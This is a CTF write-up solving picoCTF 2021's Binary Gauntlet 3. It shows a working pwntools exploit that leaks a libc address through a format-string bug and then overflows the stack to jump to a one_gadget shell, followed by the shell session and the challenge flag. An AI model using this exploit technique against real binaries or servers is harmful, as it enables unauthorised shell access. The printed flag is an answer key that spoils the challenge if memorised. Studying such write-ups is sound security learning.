Tags: pwn 

Rating:

# picoCTF 2021: Binary Gauntlet 3
__Points: 80
Category: Binary Exploitation__
> The stack is no longer executable.

This challenge gives you a binary that is (as far as I can tell) exactly the same as the one from Binary Gauntlet 2, except the stack and heap are affected by the NX bit this time and there are therefore no read-write-execute segments in the binary anymore:
```
hxxr@device:~$ checksec gauntlet
[*] '/home/hxxr/gauntlet'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

Here's the Ghidra-decompiled main function of Binary Gauntlet 2 and Binary Gauntlet 3 again for reference:
```c
undefined8 main(void)

{
char local_78 [104];
char *local_10;

local_10 = (char *)malloc(1000);
fgets(local_10,1000,stdin);
local_10[999] = '\0';
printf(local_10);
fflush(stdout);
fgets(local_10,1000,stdin);
local_10[999] = '\0';
strcpy(local_78,local_10);
return 0;
}
```

Unlike in Binary Gauntlet 1 and Binary Gauntlet 2, we can't just put our shellcode on the stack and use a buffer overflow to execute it because the stack is nonexecutable. Instead we have to use the buffer overflow to jump to existing code within the libc (i.e. a "return to libc"). First we have to figure out what libc the server is using. By solving either Binary Gauntlet 1 or Binary Gauntlet 2 we already have shell access to the server so we can run `ldd --version`:
```
$ ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
```

So the libc version is `libc6_2.27-3ubuntu1.4_amd64` for which you can find a list of libc offsets [here](https://libc.blukat.me/d/libc6_2.27-3ubuntu1.4_amd64.symbols)

Ok, in order for the return to libc to work we must also leak an address inside the libc. By setting a breakpoint in GDB at the printf call in the main function and checking the individual entries in the stack one by one, I determined that the 23rd item in printf's stack was 231 more than the address of \_\_libc\_start\_main. According to the symbol table from libc.blukat.me, the address of \_\_libc\_start\_main is 0x21b10 more than the base address of libc. Great, let's use simple math to recover the base address of libc:
```python
#!/usr/bin/env python3
from pwn import *
r = remote('mercury.picoctf.net', 30844) # your port number will vary
r.sendline('%23$p')
libc_base = int(r.recvline(), 16) - 231 - 0x21b10
print(f'### libc base: {hex(libc_base)}')
```

Now that we have the libc base address the idea is we can use the buffer overflow to jump to any single gadget (because there cannot be any null bytes in the input, but unfortunately all x86-64 addresses have at least 1 null byte in them) in the libc as long as we know the distance from the base address of libc to the gadget's address, by again using simple math. You might think you can just jump into the system function at this point, but apparently not: you will get a segmentation fault due to stack alignment issues. Instead I used [one_gadget](https://github.com/david942j/one_gadget) to find a single gadget (at offset 0x4f432) in the libc that we can jump to that will instantly grant us shell access.
```python
#!/usr/bin/env python3
from pwn import *
r = remote('mercury.picoctf.net', 30844) # your port number will vary
r.sendline('%23$p')
libc_base = int(r.recvline(), 16) - 231 - 0x21b10
print(f'### libc base: {hex(libc_base)}')
gadget_offset = 0x4f432
r.sendline(b'A'*120 + p64(libc_base + gadget_offset))
r.interactive()
```
```
[+] Opening connection to mercury.picoctf.net on port 30844: Done
### libc base: 0x7f625a6f6000
[*] Switching to interactive mode
$ ls
flag.txt
gauntlet
xinet_startup.sh
$ cat flag.txt
f629b2024e0ea88a2ac92205bf5e4b4b
```
__Flag: `f629b2024e0ea88a2ac92205bf5e4b4b`__